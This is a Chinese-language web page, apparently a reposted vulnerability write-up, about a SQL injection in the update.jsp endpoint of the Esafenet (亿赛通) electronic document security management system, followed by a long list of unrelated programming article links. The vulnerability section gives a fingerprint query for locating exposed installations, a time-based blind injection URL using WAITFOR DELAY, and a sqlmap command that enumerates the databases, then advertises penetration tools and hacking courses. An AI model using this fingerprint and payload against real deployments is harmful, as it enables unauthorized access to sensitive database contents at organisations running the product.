当前位置： 首页 > news >正文

掌控安全Update.jsp SQL注入

news 2025/10/22 12:53:22

 

0x01 漏洞介绍
亿赛通电子文档安全管理系统是国内最早基于文件过滤驱动技术的文档加解密产品之一，保护范围涵盖终端电脑（Windows、Mac、Linux系统平台）、智能终端（Android、IOS）及各类应用系统（OA、知识管理、文档管理、项目管理、PDM等）。该漏洞存在与/update接口下，flag对输入的数据没有进行严格的过滤而导致SQL注入，攻击者可以利用该漏洞获取数据库敏感信息。
0x02 影响产品

  1. 亿赛通电子文档安全管理系统

0x03 语法特征

  1. app="亿赛通-电子文档安全管理系统"

0x04 漏洞复现
页面
 


POC

  1. CDGServer3/workflowE/useractivate/update.jsp?flag=1&ids=1,3);WAITFOR%20DELAY%20%270:0:值%27--

修改值的大小 对应延迟时间
 

 
  1. python3 sqlmap.py -u "https://xxxxx/CDGServer3/workflowE/useractiv
  2. ate/update.jsp?flag=1&ids=1,3)" --batch --dbs
 

 

 

 

 

图片
 

没看够~？欢迎关注！
 

 
 

 
 

渗透工具
 

 

技术文档、书籍
 

 
 

 

面试题
 

帮助你在面试中脱颖而出
 

 

视频
 

基础到进阶
 

环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等
 

 
 

 

 















相关文章：
















掌控安全Update.jsp SQL注入




0x01 漏洞介绍 亿赛通电子文档安全管理系统是国内最早基于文件过滤驱动技术的文档加解密产品之一，保护范围涵盖终端电脑（Windows、Mac、Linux系统平台）、智能终端（Android、IOS）及各类应用系统（OA、知识管理…...






编程日记
2023/10/20 15:11:59



















C#将图片转换为ICON格式（程序运行图标）




介绍： 
C#创建窗体项目后左上角有显示图标，这个图标会在运行的时候显示在下面进程这里，但是必须是ico格式的图片才可以导入使用。以下是将图片打开后保存为ico格式代码。 
代码如下： 
main函数测试 
new 将图片转换成icon格式(&qu…...






编程日记
2023/10/20 15:10:58



















ELK架构Logstash的相关插件：grok、multiline、mutate、date的详细介绍




文章目录 1. grok (正则捕获插件)1.1 作用1.2 正则表达式的类型1.2.1 内置正则表达式1.2.2 自定义正则表达式 2. mutate (数据修改插件）2.1 作用2.2 常见配置选项2.3 应用实例 3. multiline （多行合并插件）3.1 作用3.2 常用配置项及示例3.2.1…...






编程日记
2023/10/20 15:07:55



















linux 防火墙介绍以及iptables的使用




背景介绍 在前几天，于工发现我们内部的150服务器7554端口被外网访问了。该应用提供着内部的摄像头资源。为了避免被入侵，于是我添加了一些iptables规则，防止外网的访问。 
解决方式 
解决方式有两种： 
关闭公司公网路由器对150服务…...






编程日记
2023/10/20 15:06:53



















原码、反码、补码在汇编中的应用




原文章：知乎 
原码和二进制类似，不过它有符号位。正数符号位为0，负数为1 。 
例：40000 0100 ，-41000 0100 
原码是人脑最容易理解和计算的表示方式。 
但是这在计算机中计算就出了问题，这两个（4…...






编程日记
2023/10/20 15:04:51



















【红日靶场】vulnstack5-完整渗透过程




系列文章目录 
【红日靶场】vulnstack1-完整渗透过程 【红日靶场】vulnstack2-完整渗透过程 【红日靶场】vulnstack3-完整渗透过程 【红日靶场】vulnstack4-完整渗透过程 文章目录 系列文章目录描述虚拟机密码红队思路 一、环境初始化二、开始渗透外网打点上线cs权限提升域信息…...






编程日记
2023/10/20 15:03:50



















嵌入式平台的电源总结




本文引注: https://mp.weixin.qq.com/s/PuSxHDFbJjjHEReukLSvyg 1.AC的定义 Alternating Current（交流）的首字母缩写。AC是大小和极性（方向）随时间呈周期性变化的电流。电流极性在1秒内的变化次数被称为频率，以Hz为单位…...






编程日记
2023/10/20 15:02:48



















@Binds methods must be abstract 报错指南




bindings方法必须是抽象的    Binds使用错误...






编程日记
2023/10/20 15:01:47



















自定义反序列化类将LocalDate时间格式转为 LocalDateTime




从前端接收数据反序列化成类,如果时间格式不一致可能会反序列化失败 
public class StorageDTO implements Serializable {private static final long serialVersionUID  1L;......//实体类中格式为JsonFormat(pattern  "yyyy-MM-dd")JsonDeserialize(using  CustomL…...






编程日记
2023/10/20 15:00:46



















MySQL JSON_TABLE() 函数




JSON_TABLE()函数从一个指定的JSON文档中提取数据并返回一个具有指定列的关系表。 
应用：数据库字段以JSON 存储后，实际应用需要对其中一个字段进行查询 
语法 
JSON_TABLE(json,path COLUMNS(column[,column[,...]]))column:name参数
json必需的。一个 …...






编程日记
2023/10/20 14:59:45



















【MATLAB第80期】基于MATLAB的结构核岭回归SKRR多输入单输出回归预测及分类预测模型




【MATLAB第80期】基于MATLAB的结构核岭回归SKRR多输入单输出回归预测及分类预测模型 
SKRR这是Gustau Camps-Valls等人在“用深度结构核回归检索物理参数”中提出的结构核岭回归（SKRR）方法。 参考文献： Camps-Valls,Retrieval of Physical Pa…...






编程日记
2023/10/20 14:58:44



















Qt消息对话框的使用




本文介绍Qt消息对话框的使用。 
QMessageBox类是Qt编程中常用到的一个类，主要用来进行一些简单的消息提示，比如：问题对话框，信息对话框等，这些对话框都属于QMessageBox类的静态方法，使用起来比较简单&#…...






编程日记
2023/10/20 14:55:41



















spring的Ioc、DI以及Bean的理解




文章目录 什么是Ioc？Spring和这有什么关系Spring是怎么做的？如果service层对dao层有依赖该怎么办？什么叫做依赖注入Spring这样做的目的是什么参考文献 什么是Ioc？ 
Ioc(Inversion of Control) 控制反转，就是使用对象时…...






编程日记
2023/10/20 14:54:40



















倒计时 天时分秒




shijian() {const EndTIME  new Date(开始时间变量); // 截止时间const NowTime  new Date(); // 开始时间const usedTime  EndTIME - NowTime; // 相差的毫秒数const days  Math.floor(usedTime / (24 * 3600 * 1000)); // 计算出天数const leavel  usedTime % (24 * 3600 * 1…...






编程日记
2023/10/20 14:53:39



















Spring篇---第六篇




系列文章目录 文章目录 系列文章目录一、Spring 框架中的单例 Bean 是线程安全的么？二、Spring 是怎么解决循环依赖的？三、说说事务的隔离级别一、Spring 框架中的单例 Bean 是线程安全的么？ 
Spring 框架并没有对单例 Bean 进行任何多线程的封装处理。 关于单例 Bean 的线程…...






编程日记
2023/10/20 14:52:38



















【unity小技巧】适用于任何 2d 游戏的钥匙门系统和buff系统——UnityEvent的使用




文章目录 每篇一句前言开启配置门的开启动画代码调用，控制开启门动画 新增CollisionDetector 脚本，使用UnityEvent ，控制钥匙和门的绑定多把钥匙控制多个门一把钥匙控制多个门 BUFF系统扩展参考源码完结 每篇一句 
人总是害怕去追求自己最重要…...






编程日记
2023/10/20 14:51:37



















爬虫ip如何加入到代码里实现自动化数据抓取




以下是一个使用HTTP:Tiny和www.weibo.com的音频爬虫程序的示例。这个示例使用了https://www.duoip.cn/get_proxy来获取爬虫IP。请注意，这个示例可能需要根据你的实际需求进行调整。 #!/usr/bin/perluse strict;
use warnings;
use HTTP::Tiny;
use LWP::UserAgent;
…...






编程日记
2023/10/20 14:50:35



















在win10上安装配置Hadoop的环境变量




一、背景 
在windows10系统中运行seatunnel 
二、安装部署 
2.1. 下载 Hadoop包 从 Apache Hadoop 官网下载最新版本的 Hadoop，版本号保持与服务端的Hadoop版本一致。 https://hadoop.apache.org/releases.htmlIndex of /apache/hadoop/core/hadoop-3.2.3/ 2.2.  解…...






编程日记
2023/10/20 14:49:34



















MAX插件CG Magic怎么云渲染？操作方法已整起！




小编这里会收到不少网友的反馈是关于3ds max插件CG Magic怎么云渲染？ 
3d max的这款插件CG MAGIC的出现就是为了设计师使用过程中，可以省时又省心的完成工作。 
同时，大家要了键下，现阶段CG MAGIC有18个板块，118个模块…...






编程日记
2023/10/20 14:48:33



















尝试使用jmeter-maven-plugin




前提准备 
1、maven项目 
2、已安装JMeter、Jenkins、maven、jdk 
环境要求： 
jmeter>5.6.2 
maven >3.9 
jdk>1.8 
Jenkins ? 
备注：jmeter-maven-plugin 无需下载，可查阅相关地址：GitHub - jmeter-maven-plugin/jmete…...






编程日记
2023/10/20 14:47:32





















HTML 语义化




目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 
HTML5 新特性 
标准答案&#xff1a; 语义化标签&#xff1a; <header>&#xff1a;页头<nav>&#xff1a;导航<main>&#xff1a;主要内容<article>&#x…...






编程新知
2025/10/4 16:37:34



















质量体系的重要




质量体系是为确保产品、服务或过程质量满足规定要求&#xff0c;由相互关联的要素构成的有机整体。其核心内容可归纳为以下五个方面&#xff1a; 
&#x1f3db;️ 一、组织架构与职责 
质量体系明确组织内各部门、岗位的职责与权限&#xff0c;形成层级清晰的管理网络&#xf…...






编程新知
2025/8/3 5:51:09



















Spring Boot面试题精选汇总




&#x1f91f;致敬读者 
&#x1f7e9;感谢阅读&#x1f7e6;笑口常开&#x1f7ea;生日快乐⬛早点睡觉 
&#x1f4d8;博主相关 
&#x1f7e7;博主信息&#x1f7e8;博客首页&#x1f7eb;专栏推荐&#x1f7e5;活动信息 文章目录 Spring Boot面试题精选汇总⚙️ **一、核心概…...






编程新知
2025/9/24 23:08:17



















使用 SymPy 进行向量和矩阵的高级操作




在科学计算和工程领域&#xff0c;向量和矩阵操作是解决问题的核心技能之一。Python 的 SymPy 库提供了强大的符号计算功能&#xff0c;能够高效地处理向量和矩阵的各种操作。本文将深入探讨如何使用 SymPy 进行向量和矩阵的创建、合并以及维度拓展等操作&#xff0c;并通过具体…...






编程新知
2025/10/15 16:05:27



















Hive 存储格式深度解析：从 TextFile 到 ORC，如何选对数据存储方案？




在大数据处理领域&#xff0c;Hive 作为 Hadoop 生态中重要的数据仓库工具&#xff0c;其存储格式的选择直接影响数据存储成本、查询效率和计算资源消耗。面对 TextFile、SequenceFile、Parquet、RCFile、ORC 等多种存储格式&#xff0c;很多开发者常常陷入选择困境。本文将从底…...






编程新知
2025/9/16 2:04:37



















HarmonyOS运动开发：如何用mpchart绘制运动配速图表




##鸿蒙核心技术##运动开发##Sensor Service Kit&#xff08;传感器服务&#xff09;# 
前言 
在运动类应用中&#xff0c;运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据&#xff0c;如配速、距离、卡路里消耗等&#xff0c;用户可以更清晰…...






编程新知
2025/10/20 15:06:12



















C++课设：简易日历程序（支持传统节假日 + 二十四节气 + 个人纪念日管理）




名人说：路漫漫其修远兮，吾将上下而求索。—— 屈原《离骚》 创作者：Code_流苏(CSDN)（一个喜欢古诗词和编程的Coder😊） 专栏介绍：《编程项目实战》  目录 一、为什么要开发一个日历程序？1. 深入理解时间算法2. 练习面向对象设计3. 学习数据结构应用二、核心算法深度解析…...






编程新知
2025/7/20 6:08:51



















《Offer来了：Java面试核心知识点精讲》大纲




文章目录 一、《Offer来了：Java面试核心知识点精讲》的典型大纲框架Java基础并发编程JVM原理数据库与缓存分布式架构系统设计二、《Offer来了：Java面试核心知识点精讲（原理篇）》技术文章大纲核心主题：Java基础原理与面试高频考点Java虚拟机（JVM）原理Java并发编程原理Jav…...






编程新知
2025/9/14 13:51:48



















Docker、Wsl 打包迁移环境




电脑需要开启wsl2 可以使用wsl -v 查看当前的版本 
wsl -v 
WSL 版本&#xff1a; 2.2.4.0
内核版本&#xff1a; 5.15.153.1-2
WSLg 版本&#xff1a; 1.0.61
MSRDC 版本&#xff1a; 1.2.5326
Direct3D 版本&#xff1a; 1.611.1-81528511
DXCore 版本&#xff1a; 10.0.2609…...






编程新知
2025/10/14 5:08:48



















NineData数据库DevOps功能全面支持百度智能云向量数据库 VectorDB，助力企业 AI 应用高效落地




NineData 的数据库 DevOps 解决方案已完成对百度智能云向量数据库 VectorDB 的全链路适配&#xff0c;成为国内首批提供 VectorDB 原生操作能力的服务商。此次合作聚焦 AI 开发核心场景&#xff0c;通过标准化 SQL 工作台与细粒度权限管控两大能力&#xff0c;助力企业安全高效…...






编程新知
2025/10/21 1:15:38